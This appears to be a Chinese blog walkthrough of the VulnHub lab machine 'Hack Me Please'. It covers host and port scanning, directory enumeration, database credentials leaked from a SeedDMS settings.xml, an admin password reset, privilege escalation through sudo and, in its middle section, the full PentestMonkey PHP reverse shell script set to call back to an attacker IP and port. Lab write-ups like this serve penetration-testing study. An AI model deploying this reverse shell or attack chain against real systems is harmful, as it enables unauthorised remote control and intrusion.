准备:

攻击机:虚拟机kali、本机win10。

靶机:HACK ME PLEASE,下载地址:https://download.vulnhub.com/hackmeplease/Hack_Me_Please.rar,下载后直接vbox打开即可。

知识点:seeddms框架、敏感信息泄露、shell上传、目录扫描(较多)。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.110.0/24,获得靶机地址:192.168.110.4。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.110.4,显示开放了80、3306、33060端口,开启了apache、mysql服务。

目录扫描:

使用dirmap进行目录扫描,发现了一些图片文件和js文件,在http://192.168.110.4/js/main.js文件中发现了一个目录信息:/seeddms51x/seeddms-5.1.22/。

对新发现的两个目录进行扫描,发现了/conf、/data、/doc、/inc等目录和文件,登录界面:http://192.168.110.4//seeddms51x/seeddms-5.1.22/out/out.ViewFolder.php,但是缺少账号和密码,也简单测试了下注入未成功。

对conf目录进行扫描,发现了/seeddms51x/conf/settings.xml,访问该文件查看是否隐藏有账户信息,意外发现了数据库的账号和密码信息:seeddms/seeddms。

数据库连接和web登录:

使用账户信息:seeddms/seeddms在navicat客户端进行连接,查看下数据库内的信息,在tblUsers中发现账户admin和其密码信息:admin

/f9ef2c539bad8a6d2f3432b6d49ab51a、以及:saket/Saket@#$1337。

修改数据库中admin账户的密码信息,在加密网站随便加密一串字符串,这里用的是upfine,将加密的字符串替换掉原来的加密字符串。

使用已知的账户名:admin和修改的密码:upfine,在http://192.168.110.4/seeddms51x/seeddms-5.1.22/out/out.ViewFolder.php界面进行登录。

获取shell:

在登录的web中发现了一处上传功能,上传shell反弹脚本,脚本内容可在:https://www.revshells.com/网站中获取,选取PHP PentestMonkey模块即可,或复制下面代码。

shell反弹脚本

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.110.4';
$port = 6688;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0; if (function_exists('pcntl_fork')) {
$pid = pcntl_fork(); if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
} if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
} $daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
} chdir("/"); umask(0); // Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
} $descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
} stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
} if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
} $read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
} if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
} if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
} fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process); function printit ($string) {
if (!$daemon) {
print "$string\n";
}
} ?>

使用上传功能上传shell.php脚本信息,上传之后会显示错误信息,但是在主目录下是可以正常看到上传的shell文件的。

然后需要查找下上传文件的目录信息,在下载的seeddms框架中找到了其数据存放的目录为1048576,因此对靶机该目录进行扫描,命令:dirsearch -u http://192.168.110.4/seeddms51x/data/1048576 -e *,发现了/1048576/6目录,继续对此目录进行扫描,发现了1.php文件。

kali端开启对6688端口的监听,然后访问该php文件,成功获得shell权限。

提权:

前往/home目录下简单的查看下都有哪些账户,发现了账户saket,前面在数据库中获得了这个账户的密码:Saket@#$1337,因此我们可以直接切换到saket账户。

查看下当前账户是否存在可以使用的特权命令,sudo -l,显示是all,那就直接sudo su提权到root就好了。

vulnhub靶场之HACK ME PLEASE的更多相关文章

  1. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  2. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  3. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  4. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  7. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  8. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  9. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  10. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

随机推荐

  1. Prometheus 通过 consul 分布式集群实现自动服务发现

    转载自:https://cloud.tencent.com/developer/article/1611091 1.Consul 介绍 Consul 是基于 GO 语言开发的开源工具,主要面向分布式, ...

  2. Django命令

    (venv) E:\Py_CODE\myapp>python manage.py --help Type 'manage.py help <subcommand>' for help ...

  3. flutter系列之:深入理解布局的基础constraints

    目录 简介 Tight和loose constraints 理解constraints的原则 总结 简介 我们在flutter中使用layout的时候需要经常对组件进行一些大小的限制,这种限制就叫做c ...

  4. 洛谷P1395 会议 (树的重心)

    这道题考察了树的重心的性质,所有点到中心的距离之和是最小的,所以我们一遍dfs求出树的重心,在跑一次dfs统计距离之和. 1 #include<bits/stdc++.h> 2 using ...

  5. 手把手教你使用LabVIEW OpenCV dnn实现图像分类(含源码)

    @ 目录 前言 一.什么是图像分类? 1.图像分类的概念 2.MobileNet简介 二.使用python实现图像分类(py_to_py_ssd_mobilenet.py) 1.获取预训练模型 2.使 ...

  6. RAID5 IO处理之条带读代码详解

    除了对齐读流程中读失败通过条带重试的场景会进入到条带读,当IO覆盖范围超过一个chunk时也会进入条带读(如向chunk为4K的RAID下发起始位置为1K大小为4K的IO),接下来我们就这部分逻辑进行 ...

  7. paddle&蜜度 文本智能较对大赛经验分享(17/685)

    引言 我之前参加了一个中文文本智能校对大赛,拿了17名,虽然没什么奖金但好歹也是自己solo拿的第一个比较好的名次吧,期间也学到了一些BERT应用的新视角和新的预训练方法,感觉还挺有趣的,所以在这里记 ...

  8. Vue中引入echarts。

    1.安装 在终端vue项目的文件夹下运行npm install echarts --save安装依赖 可以使用npm install echarts@("这里可以写版本号") -- ...

  9. MinGW配置C语言编译器gcc和g++

    首先,在 https://sourceforge.net/projects/mingw/files/latest/download 下载安装MinGW,如下图所示: 点Installation-> ...

  10. NLP之Bi-LSTM(在长句中预测下一个单词)

    Bi-LSTM @ 目录 Bi-LSTM 1.理论 1.1 基本模型 1.2 Bi-LSTM的特点 2.实验 2.1 实验步骤 2.2 实验模型 1.理论 1.1 基本模型 Bi-LSTM模型分为2个 ...